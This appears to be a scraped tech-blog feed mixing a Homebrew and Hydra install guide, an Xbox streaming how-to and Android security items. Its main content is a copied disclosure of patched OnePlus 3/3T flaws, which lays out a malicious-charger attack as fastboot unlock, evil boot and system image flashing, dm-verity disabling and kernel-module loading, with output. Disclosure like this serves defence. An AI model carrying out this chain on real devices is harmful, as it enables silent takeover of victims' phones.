Now add your token to the bottom of the .bashrc file in insert mode. Use either a to append after the cursor, or i to insert before the cursor.

export HOMEBREW_GITHUB_API_TOKEN="YOUR_TOKEN_HERE"

Hit escape to exit insert mode back into normal mode, then type :wq to save the file. The colon starts the command, and wq means write and quit.

Next, let's edit your .bash_profile. Type in the following command. (If you don't have a .bash_profile yet, you can create one first with touch .bash_profile).

vim .bash_profile

Now, at the bottom of the .bash_profile file, add the following. Again, use either a to append after the cursor, or i to insert before the cursor.

source .bashrc

Again, hit escape and enter :wq to save and exit the file.

Next, let's tell Bash to execute the commands in the .bashrc file as if they were executed on the command line.

source ~/.bashrc

And we're all done with this part. Let's move on to working with Homebrew!

Step 4Understanding Homebrew

Homebrew has a similar feel to Linux package managers, and it's fairly easy to run. First we'll use help to see some quick info on getting started.

brew help

A very simple package manager indeed. If you're already familiar with APT, you may see a similarity.

Now let's go through the steps for installing a package. I have selected the popular brute-force tool Hydra. First, we'll search to ensure Hydra is available. The command is:

brew search hydra

Next, we'll get info on Hydra, to confirm that it is what we're looking for, using the command:

brew info hydra

Lastly, we'll install Hydra. I chose to install the GUI as well:

brew install hydra --with-gtk+

When Homebrew finishes, we'll have a version of Hydra on our macOS machine.

As you can tell from the help page, if you need to update, uninstall, etc. any tools, it's pretty intuitive.

And That's All There Is to It

Installing and maintaining packages with Homebrew is a piece of cake, especially if you have previous Linux experience. When I am looking to install an open-source application, I almost always check Homebrew first to save time. If the package isn't available in Homebrew, then it's off to GitHub, but between the two, most of your software needs should be met.

How to Play Xbox One Games On Your PC

2017-05-27T01:10:00.000-07:00

Microsoft has been recently trying to unify the Xbox and Windows platform by breaking the Console-PC barrier that has been existing for decades, using Universal Windows Platform. During Microsoft’s press conference at E3 2016, the Redmond giant made it clear that their first party titles will also be made available to the Windows 10 platform. This meant that there would be no games exclusive to the Xbox One console anymore. Apart from this, with the release of Windows 10, Microsoft allowed you to stream your Xbox games directly to any device running Windows 10, regardless of it being a laptop, tablet or a desktop PC. Now, you don’t have to worry about your parents grabbing the remote in order watch the news channels or TV shows while you were playing your favorite games on your Xbox. Today, we’re going to help you with that. So, without further ado, lets proceed to the interesting part where we let you know exactly how you can play Xbox One games on your PC:

1. Update The Firmware

First and foremost, make sure you’re running the latest version of Windows 10 on your PC and also make sure to update the firmware on your Xbox One if you’re on an older version. This is absolutely crucial for the procedure to work properly. So, please do not even skip this step before proceeding to the next one.

To do this, just type Updates in the Cortana search bar and click on “Check for Updates”. Microsoft updates your Xbox One’s firmware automatically as long as you’re connected to the internet. Just double-check it by going to Settings -> System -> Console Info and see if it’s on the latest version.

2. Allow Game Streaming

You should allow Xbox One to stream games to other devices in order to stream the games to your Windows 10 PC. This can be done on your Xbox by going to Settings -> Preferences -> Game DVR & streaming and enabling the option that says “Allow game streaming to other devices”.

3. Connect To Your Xbox One From PC

Open the Xbox app on your Windows 10 PC and in order to add your Xbox One, click the Connection icon just above the Gear icon in the Xbox app. Now, your Xbox One will be listed in the available devices for connection. If it doesn’t show up, just enter your console’s IP address to manually search for the device and add it. The IP address can be obtained by going to Settings -> Network -> Advanced Settings on your console.

4. Connect Xbox One Controller To PC

Your Xbox One controller can be easily connected to your PC using a wired micro-USB to USB connection. If you want to connect it wirelessly, you need to have the Xbox One Wireless Adapter for Windows, which is basically a dongle to connect with your controller over the 2.4 Ghz wireless band.

The newer Xbox One S controller has Bluetooth built-in, so if your PC has Bluetooth built-in, you can connect it directly without the need of a dongle. Additionally, if you have the Xbox Elte Controller, you can download the Xbox Accessories app from the Windows Store to map buttons and configure your controller.

5. Stream and Play Xbox One Games on Your Windows 10 PC

If you’ve done all the previous steps correctly, you should now be able to click “Stream” in the Xbox app and start playing all your Xbox games on your PC. You can adjust the streaming quality within the Xbox app by going to Settings -> Xbox One -> Video Encoding Level under streaming quality. By default, it’s set to Medium. But you can change it to Low, High or Very High, depending on the bandwidth of your connection.

While you’re streaming, there’s a toolbar displayed near the top of the screen that displays a number of options including the option to stop your stream and ability to turn your microphone on/off. Well, that’s how you set up your Xbox One to play all its games directly from your PC.

Source:beebom

Kodak Ektra. The classic is back at $399.

2017-05-27T00:24:00.003-07:00

Bring powerful imaging wherever life takes you. Classic styling that’s iconic in design, the KODAK EKTRA brings the DSLR experience to smartphones for the first time.

Network Compatibility: The KODAK EKTRA is an open market unlocked GSM (Global System for Mobile Communications) device, which means it is compatible and will work on the AT&T and T-Mobile networks in the USA. It is not CDMA (Code Division Multiple Access) compatible so will NOT work with Sprint, Verizon or US Cellular.

Pic source :beebom.com
Kodak Ektra. The classic is back at $399.

21 MP Main Camera & 13MP Front Camera
DSLR style with 8 Scene Selections: Smart Auto, Manual, Landscape, Panorama, Portrait, Sport, Night, Bokeh
HDR Imaging with PDAF
4K Video Capture
32GB Expandable Memory
Android™ 6
To buy click on tis link

This new Android malware will hijack your data

2017-05-27T00:11:00.002-07:00

This new Android malware will hijack your data.All of it.

it is automatically granted the SYSTEM_ALERT_WINDOW permission & BIND_ACCESSIBILITY_SERVICE permission, which can be used for stealing your passwords and pins.

Both these vulnerabilities together, will install a "God-mode" app, which will get access to your messages and calls.

http://cloak-and-dagger.org/#FAQ

What do you recommend to users?

We recommend users to check which applications have access to the "draw on top" and the a11y permissions. Unfortunately, both permissions are considered "special" and, for this reason, certain versions of Android may show "no permission required" even if, in fact, the app has access to both the permissions required for our attack. Here we provide instructions for several versions of Android (if you have recommendations regarding instructions for others Android versions, please let us know and we will post them here):

Android 7.1.2:

— "draw on top" permission: Settings → Apps → "Gear symbol" (top-right) → Special access → Draw over other apps.
— a11y: Settings → Accessibility → Services: check which apps require a11y.

Android 6.0.1:

— "draw on top" permission: Settings → Apps → "Gear symbol" (top-right) → Draw over other apps.
— a11y: Settings → Accessibility → Services: check which apps require a11y.

Android 5.1.1:

— "draw on top" permission: Settings → Apps → click on individual app and look for "draw over other apps"
— a11y: Settings → Accessibility → Services: check which apps require a11y.

This work shows that the user should not consider her device's UI as a trusted source of information. Thus, from a conceptual point of view, the user should rely on other means than the device's UI itself. An alternative solution is to use command line tools (such as adb) or to determine the permissions requested by each app through the Play Store website. For example, to check the permissions of the official LastPass app (which requires both permissions), you can go to its Play Store page, scroll down, and click "View details" under "Permissions". The "draw on top" permission will appear under the "Others" / "draw over other apps" label, while the a11y will appear under "Others" / "bind to an accessibility service".

Owning OnePlus 3/3T with a Malicious Charger: The Last Piece of the Puzzle

2017-05-26T23:57:00.005-07:00

CVE-2017-5626(patched in OxygenOS 4.0.2), a vulnerability which allowed attackers to effectively unlock a OnePlus 3/3T device (without a factory reset). Combining this with our also discovered CVE-2017-5624 (patched in OxygenOS 4.0.3) enabled a powerful attack against locked devices – persistent highly privileged code execution without any warning to the user and with access to user’s data (after the victim enters his credentials). One caveat from the attacker’s perspective, however, is that it either required physical or an authorized-ADB access to the device.

In this blog post we describe a new critical vulnerability CVE-2017-5622 in OnePlus 3/3T (OxygenOS 4.0.2 and below), which relaxes the attack prerequisites. Combining it with CVE-2017-5626 allows a malicious charger to own your device if it’s hooked-up while being powered off(the charger may also just wait until the battery is drained). Adding CVE-2017-5624 to the stack of exploited vulnerabilities will also help the attacker to hide the fact that he modified the device’s systempartition.

We had responsibly reported CVE-2017-5622 to OnePlus Security that later fixed it in OxygenOS 4.0.3, released last month. We would like to thank OnePlus Security for the efficient manner in which they handled this critical security issue.

Demos

First, before we dive into the technical details, here is a couple of video demonstrations of our PoCs.

The first video presents how the ‘charger’ can exploit CVE-2017-5622 & CVE-2017-5626 for gaining a root shell, putting SELinux in permissive mode, and even executing kernel code:

The second video shows how the ‘charger’ exploits CVE-2017-5622, CVE-2017-5624 & CVE-2017-5626 for replacing the system partition in order to install a privileged app. Please note that once the replacement is complete, the victim has no indication that the device has been tampered with:

Charger Boot Mode ADB Access (CVE-2017-5622)

When one connects a powered off OnePlus 3/3T device to a charger, the bootloader will load the platform with the charger boot mode (in other words: ro.bootmode = charger). The platform of course MUST NOT enable any sensitive USB interfaces because otherwise it could be attacked by malicious chargers, an attack also-known-as ‘Juice-jacking’.

Much to our surprise, when we first connected our powered off OnePlus 3/3T devices, we noticed that we had ADB access:

> adb shell android:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 android:/ $ getprop ro.bootmode charger android:/ $ getprop ro.boot.mode charger android:/ $ getprop | grep -i oxygen [ro.oxygen.version]: [4.0.2] android:/ $

Since this does not (and should not!) normally happen when you connect a powered off Android device to a charger, we were quite puzzled. We had two immediate questions in mind:

Question 1: Why is ADB running?

The answer to this question lies within the Android boot process, during which init executes several scripts under the boot partition. By running ps, it can be seen that initis the parent of adbd:

android:/ $ ps -x | grep adb shell 444 1 12324 564 poll_sched 0000000000 S /sbin/adbd (u:2, s:10) android:/ $ ps -x |grep init root 1 0 15828 2496 SyS_epoll_ 0000000000 S /init (u:6, s:102)

Thus some init script instruction starts adbd when the platform runs in the charger boot mode. Taking a look at init.qcom.usb.rc reveals the following:

on charger [...] mkdir /dev/usb-ffs/adb 0770 shell shell mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000 write /sys/class/android_usb/android0/f_ffs/aliases adb setprop persist.sys.usb.config adb setprop sys.usb.configfs 0 setprop sys.usb.config adb [...]

The on charger event is triggered if ro.bootmode == charger, as can be seen from Android 7.1.1’s init.cpp:

[...] std::string bootmode = property_get("ro.bootmode"); if (bootmode == 'charger') { am.QueueEventTrigger('charger'); } else { am.QueueEventTrigger("late-init"); } [...]

Therefore, the sys.usb.config property changes to adb, which then instructs init to run adbd, under init.usb.rc:

[...] on property:sys.usb.config=adb && property:sys.usb.configfs=0 write /sys/class/android_usb/android0/enable 0 write /sys/class/android_usb/android0/idVendor 2A70 #VENDOR_EDIT Anderson@, 2016/09/21, modify from 18d1 to 2A70 write /sys/class/android_usb/android0/idProduct 4EE7 write /sys/class/android_usb/android0/functions ${sys.usb.config} write /sys/class/android_usb/android0/enable 1 start adbd setprop sys.usb.state ${sys.usb.config} [...]

Question 2: Where is the ADB Authorization?

In order to protect against malicious USB ports (e.g. malicious chargers) targeting devices with adbd enabled, Android has had ADB authorization for quite some time (since Jelly-bean) – any attempt to gain an ADB session with an unauthorized device is now blocked.

So what’s different in OnePlus 3/3T? First, let’s take a peek at the AOSP implementation of adbd. The adbd_mainroutine reveals that there is some global flag, auth_required, that controls the ADB authorization:

int adbd_main(int server_port) { [...] if (ALLOW_ADBD_NO_AUTH && property_get_bool("ro.adb.secure", 0) == 0) { auth_required = false; } [...]

This flag is then used by the handle_new_connection routine:

static void handle_new_connection(atransport* t, apacket* p) { [...] if (!auth_required) { handle_online(t); send_connect(t); } else { send_auth_request(t); } [...] }

We can thus deduce that if OxygenOS used the stock adbd, then ro.adb.securewould be 0, however:

android:/ $ getprop ro.adb.secure 1 android:/ $

Therefore, OxygenOS of OnePlus 3/3T contains a customized adbd! Since we don’t have the sources, we need to take a look at the binary. Decompiling it with IDA shows:

__int64 sub_400994() { [...] if ( !(unsigned __int8)sub_440798("ro.adb.secure", 0LL) ) auth_required_50E088 = 0; getprop("ro.wandrfmode", &v95, &byte_4D735C); if ( !(unsigned int)strcmp(&v95, &a0_1) || !(unsigned int)strcmp(&v95, &a1_1) || !(unsigned int)strcmp(&v95, &a2) ) auth_required_50E088 = 0; getprop("ro.boot.mode", &v94, &byte_4D735C); if ( !(unsigned int)strcmp(&v94, 'charger') ) auth_required_50E088 = 0; [...] }

We can clearly see that OnePlus has customized the AOSP adbd s.t. auth_required = 0 when the platform is started in the charger bootmode. (Bonus points: ro.wandrfmode relates to CVE-2017-5623.)

Exploitation

So what can we do with ADB access? First, we should note that although we can gain a shell, we do not have access to user data since the partition is both unmounted and encrypted. What we can do, however, is simply reboot into the fastbootmode by issuing reboot bootloader, and then replace the boot and/or systempartitions by exploiting CVE-2017-5626! In order to remove any warning about the system partition modification, we may also exploit CVE-2017-5624. It should be noted that if the device’s bootloader happens to be unlocked, then the charger does not even need CVE-2017-5626.

As a reminder, CVE-2017-5626(fastboot oem 4F500301) allowed one with fastboot access to effectively unlock the device, disregarding OEM Unlocking, without user confirmation and without erasure of user data (which normally occurs after lock-state changes). Moreover, the device still reports it’s locked after running this command. Exploiting this vulnerability alone allows for kernel code execution albeit with a 5 seconds warning message. CVE-2017-5624allowed the attacker, again with fastboot access, to disable dm-verity, a feature which protects against tampering with the system partition, for example.

PoC 1: Charger Gains a root shell & Kernel Code Execution (CVE-2017-5622/6)

The attack begins when the victim connects a powered off device to the ‘charger’, which gains an ADB session CVE-2017-5622, and reboots the device into fastboot:

> adb shell android:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 android:/ $ reboot bootloader > fastboot devices cb010b5a fastboot

By exploiting CVE-2017-5626 the ‘charger’ replaces the boot image s.t. adbd runs as root and SELinux is in permissive mode (see the previous blog post):

> fastboot flash boot evilboot.img target reported max download size of 440401920 bytes sending 'boot' (14836 KB)... OKAY [ 0.335s] writing 'boot'... FAILED (remote: Partition flashing is not allowed) finished. total time: 0.358s > fastboot oem 4F500301 ... OKAY [ 0.020s] finished. total time: 0.021s > fastboot flash boot evilboot.img target reported max download size of 440401920 bytes sending 'boot' (14836 KB)... OKAY [ 0.342s] writing 'boot'... OKAY [ 0.135s] finished. total time: 0.480s

That gives the charger a root shell, even before the user enters his credentials (but without access to user data!):

OnePlus3:/ # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0 OnePlus3:/ # getenforce Permissive

The OnePlus 3/3T kernel is compiled with LKM enabled, so running kernel code does not even require patching / recompiling the kernel. So I created a tiny kernel module:

#include <linux/module.h> #include <linux/kdb.h> int init_module(void) { printk(KERN_ALERT "Hello From Evil LKM\n"); return 1; }

The charger can then load it into the kernel:

OnePlus3:/data/local/tmp # insmod ./evil.ko OnePlus3:/data/local/tmp # dmesg | grep "Evil LKM" [19700121_21:09:58.970409]@3 Hello From Evil LKM

PoC 2: Charger Replaces the system Partition (CVE-2017-5622/4/6)

The vulnerabilities can be combined together for code execution in privileged SELinux domains, without any warning to the user and with access to original user data. In order to demonstrate this, I’ve modified the system partition, adding a privileged app. This can be done by placing an APK under /system/priv-app/<APK_DIR> which will eventually cause it to be added to the priv_app domain. (Don’t foger to chcon your APK and its containing directory!)

Again, the attack begins when the victim connects a powered off device to the ‘charger’, which gains an ADB session CVE-2017-5622, and reboots the device into fastboot:

> adb shell android:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 android:/ $ reboot bootloader > fastboot devices cb010b5a fastboot

By exploiting CVE-2017-5626 the ‘charger’ can replace the systempartition with a malicious one:

> fastboot flash system evilsystem.img target reported max download size of 440401920 bytes erasing 'system'... FAILED (remote: Partition erase is not allowed) fin noished. total time: 0.014s > fastboot oem 4F500301 OKAY [ 0.020s] finished. total time: 0.021s > fastboot flash system evilsystem.img target reported max download size of 440401920 bytes erasing 'system'... OKAY [ 0.010s] ... sending sparse 'system' 7/7 (268486 KB)... OKAY [ 6.748s] writing 'system' 7/7... OKAY [ 3.291s] finished. total time: 122.675s

By exploiting CVE-2017-5624 the ‘charger’ can disable dm-verity:

> fastboot oem disable_dm_verity ... OKAY [ 0.034s] finished. total time: 0.036s

Indeed the app loads with the priv_appcontext:

1|OnePlus3:/ $ getprop | grep dm_verity [ro.boot.enable_dm_verity]: [0] OnePlus3:/ $ ps -Z | grep evilapp u:r:priv_app:s0:c512,c768 u0_a16 4764 2200 1716004 74600 SyS_epoll_ 0000000000 S alephresearch.evilapp

Patch

OnePlus has fixed the vulnerability by simply removing the {persist.}sys.usb.config related lines under the on charger event:

on charger #yfb add to salve binder error log in poweroff charge setrlimit 13 40 40 setprop sys.usb.config mass_storage mkdir /dev/usb-ffs 0770 shell shell mkdir /dev/usb-ffs/adb 0770 shell shell mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000 write /sys/class/android_usb/android0/f_ffs/aliases adb #14(0xe) means reject cpu1 cpu2 cpu3online write /sys/module/msm_thermal/core_control/cpus_offlined 14 #add by david.liu@oneplus.tw 2015/12/22, improve the performance of charging write /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor powersave write /sys/devices/system/cpu/cpu1/online 0 write /sys/devices/system/cpu/cpu2/online 0 write /sys/devices/system/cpu/cpu3/online 0 #yfb add to salve binder error log in poweroff charge start srvmag_charger

OnePlus 2

Last, OnePlus 2 also had the {persist}.sys.usb.config property set to adb under the on charger event of init.qcom.usb.rc:

on charger mkdir /dev/usb-ffs 0770 shell shell mkdir /dev/usb-ffs/adb 0770 shell shell mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000 write /sys/class/android_usb/android0/f_ffs/aliases adb setprop persist.sys.usb.config adb [...]

And also under init.rc:

on charger mount ext4 /dev/block/bootdevice/by-name/system /system ro setprop sys.usb.configfs 0 load_system_props class_start charger setprop sys.usb.config adb

Despite that, when we hooked-up our OnePlus 2 device, we didn’t manage to obtain an adb shell, although the USB interface was up & running:

> adb shell error: device unauthorized. This adb server's $ADB_VENDOR_KEYS is not set Try 'adb kill-server' if that seems wrong. Otherwise check for a confirmation dialog on your device. > adb devices List of devices attached 6b3ef4d5 unauthorized

Thus, OnePlus 2 is not vulnerable – in contrast to the OnePlus 3/3T case, the OnePlus 2 OxygenOS image had the ADB authorization left intact. Disassembling its adbd binary shows that it indeed does not have the ro.boot.mode auth_required bypass

Source:alephsecurity

Android O: What’s New In The Latest Android Version?

2017-05-26T22:58:00.000-07:00

About 2 months back with its first developer preview, Google gave us a taste of its latest mobile operating system, Android O. Now at the Google I/O 2017, Google has revealed more details on the next Android iteration. The Android O public beta is already out and you can install it right now on your Nexus or Pixel device. Android O brings a number of cool changes and features. The Android O changes fall into into three different categories: Fluid Experiences, UI Changes, and Vitals. So, if you have been wondering what’s new in Android O, well, sit back, relax and read on, as we tell you all the changes and features in Android O:

Fluid Experiences

Google asserted the fact that mobile phones are slowly transitioning into full-fledged computers. However, due to the small size of our phones, performing certain tasks like multitasking has always been a problem. Fluid Experiences is Google’s attempt to provide us with a refined user experience which is not impacted by the smaller size of our smartphones. The theme here is to get more done, even with a small screen device.

1. Picture-in-Picture

Multitasking on Android has improved over the years. With Android Nougat, Google introduced split-screen multitasking and with Android O, the search giant is introducing a new picture-in-picture mode.

In apps like YouTube, Google Duo or Netflix, we can just press the home button to activate picture-in-picture mode. It will create a floating window which can be adjusted, resized and repositioned. While the floating window is active we still have access to all the features on our smartphone. For example, we can take notes while watching a tutorial on YouTube. This approach does feel better than the split-screen mode. However, third party app developers need to support this feature in their apps to make it really useful.

2. Notification Dots

Google wants to change the way we interact with notifications on our smartphone. Whenever an app receives a notification, besides showing it in the notification center, it will also show a notification dot on the app itself. It also gives users a new medium to interact with the notification. A long press on the app icon will show the notification right there in the form of a widget. Swiping the notification from the widget will also clear it from the notification panel

3. Auto-fill with Google

Auto-fill function has always been a part of Google Chrome browser. With this version of Android, Google is extending its auto-fill support to apps. Suppose your login information for Twitter is saved on your Chrome browser. When you open the app for the first time on a smartphone, it will automatically pull that information from Chrome and log you in. This function will be really useful when you are setting up a new phone.

4. Smart Text Selection

Selecting a text to copy it on your smartphone has always been a pain. Fiddling with the selection markers to select the text is infuriating at times. According to Google’s user studies, phone numbers are most copy-pasted item followed by names and addresses. Google is using this data with its machine learning to create “Smart Text Selection” on Android O. Whenever a user double taps on a phone number, name, address, or email id, the OS will be smart enough to select the whole thing. Not only that, it will also bring contextually aware options. For instance, showing maps or dialer in case you selected an address or phone number. A handy feature indeed.

5. Automatically Enable WiFi Near Saved Network

I can’t tell you how many times I just chewed through my mobile data when I forgot to connect to my home/office WiFi. The only way to save ourselves from accidentally gobbling up our mobile data is to keep our WiFi on at all times. However, that is not an optimal solution. Android O brings a new feature which will alleviate this problem once and for all. Whenever your device is in the area served by a saved WiFi network, your phone will automatically toggle on the WiFi and connect to the network. It will save accidental mobile data consumption without you having to keep the WiFi on all the time.

This feature is based on the data obtained through user’s location. In Android O, you can turn on the automatic WiFi toggle feature by going into Network and Internet > WiFi > WiFi Preferences.

6. Enhanced Search in Settings

Google introduced search inside the Settings page in Android Lollipop (5.0) to make it easier for users to navigate through the Settings page options. With Android O, Google is giving users a more enhanced search feature in Settings. When you search for an option in the Settings page, the options will include a sub-text which will show you the path to find that setting. Also, previously if you wanted to see information about any app, you had to manually find the app sub-section in the Settings page and then scroll down to find the app. Now you can just search for the app and it will show up in the search result.

7. More Fingerprint Scanner Gestures

Devices like Nexus and Pixel already enjoy certain fingerprint scanner gestures like swiping down to bring down the notification shade. Android O is going to enhance on this feature by adding horizontal swipes along with vertical swipes. It is not yet clear what functions they will perform but any added gesture support is welcomed. Also, unlike before, the swipe direction will not be affected by the device’s orientation. Whether you are in portrait or landscape mode, swiping down will have the same result.

8. Screen Overlay Notification

There are many apps which use the built-in screen overlay ability of Android to draw over other apps and provide us with features which otherwise would not have been possible. The best example of this can be seen in the pop-up bubble feature utilized by apps like Facebook Messenger and display calibration by apps like Twilight. However, this comes with several associated security risks. Apps may misuse this authority to display certain buttons or stop you from interacting with the device till they are active.

To let the users know that an app is using screen overlay, Android O generates a notification whenever such an app is launched. You can disable the app just by tapping on the notification. A very handy and welcome feature.

UI Changes

Although Android O builds on top of the previous Android versions and does not bring any major changes in the look and feel of the Android, there are some UI changes that really streamline the experience.

1. Redesigned Quick Settings

One of the most visible UI change coming with the Android O can be seen in the notification shade. The notification and quick settings page now follow a grey theme instead of the earlier black and white theme. Also, the buttons to edit Quick Settings tiles, switch user profiles, and the Settings shortcut have been moved to the bottom of the notification page. This makes it easier to access them on a large device.

2. Ability to Change Icons in Pixel launcher

Although Android has always allowed us to change our icon set by installing launchers and icon packs, it has never been an inbuilt feature. With Android O, Google has allowed users to change the shape of icons. Users still cannot completely overhaul an icon’s look but they can change the shape and size of the icons. For me, it’s a step in the right direction.

3. Long Press to Access App’s Widget

Android brought contextual menu, like 3D Touch on iOS, in the form of long press in Android 7.1. Basically, a long press on an app’s icon lets a user access the app’s specific shortcuts. With Android O, now the user can access an app’s widget by long pressing on its icon. If an app has multiple widget formats, users can select which widget they want to see.

4. Intensity slider in Night Light

Night Light helps reduce strain on our eyes in the night be reducing the blue light and increasing the red tint of the display. In Nougat, a user could only select when to turn the Night Light on or off. Android O brings a slider which can be used to adjust the intensity of Night Light allowing us to select the amount of red tint we want on our display.

5. Quickly Check Location Permissions

Location permissions are sought by many apps to function properly. However, it is not in our best interest to share our location data with all the apps at all the time. Since Marshmallow (6.0), we are allowed to change the permissions for an individual app. However, the function was buried deep inside the Settings menu. With Android O, Google has included a short-cut to location permissions on the location setting page itself. This makes it easier to manage app level location permissions.

Vitals

Every new version of Android brings major under the hood changes focusing on security, battery life, and performance improvement. This year it seems that these areas are the major focus point for Android O. Google clubbed all under the hood improvements into one category and called it ‘Vitals’. The concept is to keep everything which is vital for a smartphone’s performance in as good a shape as possible.

1. Security with Google Play Protect

Security has always been a main concern for Google, as the public perception tends to place Android as a less secure platform than iOS. With the launch of Google Play Protect, Google wants to dispense that perception. Every day Google scans all the apps present on every Android device (~50 billion/day). They disable or outright remove any app which is flagged for causing security problems. Google want to make this process visible to the public and hence, they’ve launched the Google Play Protect app. A user can launch the app and see the result of the scan of all the apps on his devices.

2. Faster Boot and App Loading Time

Android O brings major improvements to the platform’s performance. Android O running devices will boot twice as fast, when compared to current devices. Also, the app load time has been reduced significantly. The faster app loading time is due to change in the OS itself and hence, it will be applicable for all the apps present on our smartphones.

3. Wise Limits

Apps use a lot of data and resources while running in the background. This slows down the performance of a smartphone and drains its battery very quickly. Android O wants to stop this mismanagement of resources and battery life by introducing “Wise Limits”. Basically, the OS puts a sensible limit to the amount of system resources an app can use, thereby decreasing the background drain and increasing the performance and battery life.

4. Project Treble

Google has been trying to fix the problem of Android fragmentation and updates since a long time and they have come up with a new solution dubbed “Project Treble”. The project, part of Android O, aims to make Android updates faster. We have already talked about Project T.reble in detail, so check that out.

Apart from the aforementioned changes and features, the first developer preview of Android O also introduced some other changes.

5. Update Graphics Driver via Play Store

Graphics driver updates from the Play Store might get to be one of the first implementations of “Project Treble”. Since chipset makers will be able to push faster updates thanks to the “vendor implementation layer”, updating the graphics driver can happen through Play Store itself. This will also allow chipset manufacturers to send app-specific drivers update to solve glitches relating to that specific app. The only caveat of this feature is that it will only work on the devices which are shipped with Android O.

6. Streamlined SMS Authentication

SMS authentication is imperative to our security, as it is used by our banks, messaging services, and even Google itself. Although important, SMS authentication still suffers from two major problems. First, we need to grant permissions to apps to be able to read our messages when they only need it at the time of authentication. This is a security flaw in itself. Secondly, the manual entry of code is not user-friendly, as sometimes you have to leave the app, remember the code and then come back to paste it to work. Also, it creates a lot of clutter in the messaging app.

Android O is aiming to solve this problem by introducing a feature for app developers called PendingIntent. All we users need to understand about this feature is that now when an app requires an authentication, it will create a unique token which will be directly send to the application itself. You will never see a message in your inbox nor you will have to remember and manually enter the token.

Excited for Android O?

Android O is bringing a lot to the table. Of course, there are some features which are missing and it would be great to have them. A system wide dark mode was what I was wishing for. Still there’s a lot to like and I’m happy with Google’s latest offering

Techadda

Oneplus 5 is here so here it is .(REVIEW: ONEPLUS 5)

Build It Better

That Camera, Though

How To Find Passwords of All Connected Wi-Fi Networks using CMD

How to know Wi-Fi passwords using CMD?

Top CMD or MS-DOS prompt commands which every hacker should know

Top CMD or MS-DOS prompt commands which every hacker should know

nslookupnet viewnet usenet userpingtracertarproutenbtstatnetstatipconfig

Essential Phone (with unique define and grt specs )

World's most powerful processor

'Judy' Malware infects more than 36.5 million Android users

Linux Basics for the Aspiring Hacker, (Manipulating Text)

Cat That File

Step 2Take the Head

Step 3Grab That Tail

Step 4Numbering Those Lines

Step 5I Grep That

Step 6I Sed That Works

Which company’s job interviews are hardest to crack? Facebook, Google, Apple or Dropbox?

Which company’s interviews are more difficult: Facebook, Google, Apple or Dropbox?

Question 1:

Interviewer: have a cup of sugarless tea adding a teaspoonful of sugar.

Question 2:

Interviewer : There is one scooter which has 2 tyres and one stepney/spare (meaning 3 tyres). Each tyre can run up to max 5 km. How long will the scooter run till?

Metasploit for the Aspiring Hacker, (Creating Resource Script Files)

Step 1Exploring Resource Scripts in Metasploit

Step 2Writing Our Own Resource Script

Step 3Checking the Script Contents

Step 4Executing Our New Script File

Step 5Checking Whether It Was Saved

Step 6Starting the Script Automatically with Metasploit

How to Create an Encrypted Disk Image

So Why Use Encrypted Disk Images?

Step 1Open Disk Utility

Step 2Set Your Disk Image Options

Step 3Add a File

Step 4Eject the Disk

How to Enable Full Disk Encryption to Protect Your Data

Getting to FileVault

Step 2Turn On FileVault

Step 3Restart Your Machine

Step 4Validate Your Key!

Your Disk Is Now Ready for Hacking

How to Build a Hacking Raspberry Pi

The Hacking Raspberry Pi in Episode 4

Step 1Download the ARM Version of Kali

Step 2Download & Install Win32 Disk Imager

Step 3Run Disk Imager

Step 4Install the SD Card in the Raspberry Pi

Step 5Start a Cryptcat Listener on Raspberry Pi

Step 6Wreak Havoc

How to Manage Your Passwords with KeePassX

Get KeePassX

Step 2Create a New Key Database

Step 3Add Groups to Your Database

Step 4Add Entries

Step 5Use the Database

4 Ways to Crack a Facebook Password & How to Protect Yourself from Them

Method 1Reset the Password

How to Protect Yourself

Method 2Use a Keylogger

How to Protect Yourself

Method 3Phishing

How to Protect Yourself

Method 4Stealing Cookies

A Couple More Facebook Hacks

How to Protect Yourself

Protecting Yourself: Less Is More

HOW TO Get Your Hacked Facebook Account Back.

Step 1

Step 2

Step 3

Step 4

Step 5

Step 6

Metasploit for the Aspiring Hacker, (Finding Deleted Webpages)

Step 1List the Modules

Step 2List the Auxiliary Modules

Step 3The Wayback Machine

nslookup
net view
net use
net user
ping
tracert
arp
route
nbtstat
netstat
ipconfig